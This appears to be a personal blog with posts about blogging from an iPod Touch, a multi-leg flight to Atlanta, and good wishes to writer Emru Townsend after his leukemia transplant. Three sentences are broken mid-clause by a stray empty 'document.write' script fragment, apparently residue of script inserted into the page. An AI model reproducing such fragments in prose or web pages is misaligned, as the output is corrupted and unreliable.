I am so tired… Convention and travelling really seem to drain me lately. It’s either because I’m really getting old or I’m really out of shape. I guess I need to get out and exercice more.

After all the LifeCast app is not that good. In a way, document.write(“”); it is better to use the browser Safari to edit the blog directly on Blogger. In any case, blogging on the iPod is not easy since we have to deal with the tiny keyboard (but it’s way better than sending SMS on a cellphone!).

The iPod was really useful when I was away. And there are so many fun apps (games, eReader, dictionaries, etc., playing music and video) that it’s difficult to keep away from the device. But it is mainly useful to keep in touch with the world (internet, emails, weather, stocks, maps, tv schedule, wikipedia, airport info, election polls, etc.) and people (Facebook, AIM, Twitter, blogging, etc.). Now that I have it, I don’t know how I could ever live without it. Nevertheless, it’s not easy to get a reliable wifi connection even if I paid a $10 monthly subscription to Boingo. There lies the big advantage of the iPhone over the iPod (but at what cost!). However, as I predicted, VOIP apps are starting to appear and, with the release of the earphones with remote and mic later this month, we’ll be able to make VOIP calls via wifi! I can’t wait to try that.

On The Road

I slept for just a few hours before driving to Burlington Airport. We got stuck at the border for one hour because of a “by-the-book” custom officer. The plane from Burlington to Baltimore was small and I almost felt claustrophobic. But I had a window seat and could admire the view… Briefly before we got into the clouds. After a nearly two-hour stop, document.write(“”); we left again for Atlanta in a slightly bigger plane. Beautiful clouds. I took some pictures. Now we are waiting for our next flight. Three hours to eat, recharge the iPod and blog. It’s tiring but fun. I’m visiting places I’ve never seen before. More later.

Posted with LifeCast

Emru gets his transplant

Animation and technology writer/blogger Emru Townsend, document.write(“”); who was diagnosed with leukemia in late 2007 but found a bone marrow donor match last Summer after a long campaign to encourage donors from ethnic communities, has finally received his transplant this week [hit the links for details]. Now he has to wait two to three weeks to see if the graft takes well on his body. But he is not out of the wood yet, as the first 100 days are crucial since his body has to rebuild its immune system.

Congrats for the transplant, Emru, and we wish you the best for the months to come.

You can visit Emru’s Blog, Facebook group and web hub to leave him words of encouragement.